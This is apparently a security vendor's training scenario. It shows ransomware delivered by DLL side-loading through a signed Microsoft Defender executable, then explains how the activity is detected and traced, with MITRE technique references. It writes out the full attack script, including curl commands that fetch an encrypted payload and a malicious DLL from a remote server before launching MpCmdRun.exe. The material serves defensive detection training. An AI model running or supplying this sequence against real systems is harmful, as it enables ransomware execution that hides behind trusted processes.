Training Scenario - DLL Injection

Group Name

Training Data - Dll Injection (Hive)

Scenario

In this training scenario, we will execute an encrypted ransomware payload via DLL injection into a signed MS Defender. A custom DLL has been created, as an attacker would create it, which decrypts a fake .log file, and executes it.

Many security tools will simply ignore processes started by a signed parent, particularly a signed antivirus parent, and even more particularly Defender. Defender commands are not only often allowed, but are often extremely privileged. Here the command that is weaponized is a signature update, something that is not only common, but would be ignored from any sort of malware hunt. Here we demonstrate that even with simple “living off the land” trade craft, an attacker can execute privileged payloads by staging a simple script with no custom injection tools on the machine.

Here is the exact script run on the victim machine. Note how there is nothing explicitly malicious happening, copying the defender exe(s) to a staging directory is done just to highlight the C:\staging files in the root cause analysis.

mkdir C:\staging
copy C:\Windows\WinSxS\amd64_windows-defender-service_31bf3856ad364e35_10.0.19041.746_none_a39f6d9ab59bd8b7\* C:\staging
move C:\staging\mpclient.dll C:\staging\realdll.dll; cd C:\staging
curl 169.254.247.102:8000/0x80004006.log -outfile 0x80004006.log; curl 169.254.247.102:8000/mpclient.dll -outfile mpclient.dll
./MpCmdRun.exe -SignatureUpdate

Breaking it down line by line:

Staging directory created
Defender copied to staging directory
Real mpclient.dll is renamed
Encrypted “log” file and malicious DLL are downloaded from a remote server
Real signed MpCmdRun is executed with signature update task

MpCmdRun.exe

Identifying it

Automated Response

Starting with the automated response, alarm bells would be sounding in your head. Some process that has never been seen before, with a random GUID name, executed and kicked off Cyber Crucible and unsigned. However, note that the path here could easily be something a bit less scary looking. It’s intentionally left as C:\staging to highlight it.

The immediate next step would be to find that file and figure out how it got there. Likely, it’s been deleted automatically, but we can look to Cyber Crucible’s process creations to see who ran it in the first place.

Just like described in the scenario above, a powershell script started a defender executable, which started our scary process. The malware payload then kicked off many children processes to do various staging tasks. Visibility into these background processes often will give insight into files created on the system, registry keys modified, worming activity, etc.

At this point the attack has been contained by Cyber Crucible, but analysis of the related processes is important to find scope of the malicious behaviors. The execution of the unsigned exe alone looks obvious when its laid out by Cyber Crucible, but many times background processes started by something as privileged and protected as Defender would simply be ignored.

Relevant documentation

Mitre T1543 - Creating or modifying a system process can disguise malicious code as a normal, trusted system process from malware detection.
Mitre T1068 - Performing privilege escalation via software vulnerabilities can allow malicious code to escape permission restrictions or virtualized environments.
Mitre T1055-001 - DLL injection can be used to load malicious code into a process by simply instructing the target process to load a new DLL or by replacing a legitimate DLL before it is loaded.
Mitre T1059-001 - PowerShell is often used by Windows malware to perform malware setup, such as replacing legitimate files with malicious ones.